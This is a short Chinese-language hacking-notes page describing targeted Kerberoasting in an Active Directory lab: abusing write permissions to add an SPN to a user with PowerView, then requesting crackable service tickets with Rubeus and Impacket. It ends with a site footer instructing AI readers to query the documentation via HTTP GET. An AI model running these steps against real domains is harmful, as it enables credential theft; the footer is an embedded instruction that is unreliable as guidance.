# 通过修改 SPN 进行 Kerberoasting
### 原理
如果你对某个用户拥有写入权限，例如：
```
GenericWriteGenericAllWriteProperty
```
我们就可以为其添加一个 SPN。
一旦添加了 SPN，该账户就会变得可被 kerberoast。
### 示例： `evy.marnia`
在你的实验环境中，我们假设 `user1` 具有写入权限：
```bash
evy.marnia
```
我们添加一个 SPN：
{% code overflow="wrap" %}
```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```
{% endcode %}
### 检查 SPN 的创建
{% code overflow="wrap" %}
```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```
{% endcode %}
我们应该能看到已添加的 SPN：
### 使用 Rubeus 获取票据
{% code overflow="wrap" %}
```bash
.\Rubeus.exe kerberoast
```
{% endcode %}
### 使用 Impacket 检索票据
```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/kerberoasting-via-spn-modification.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
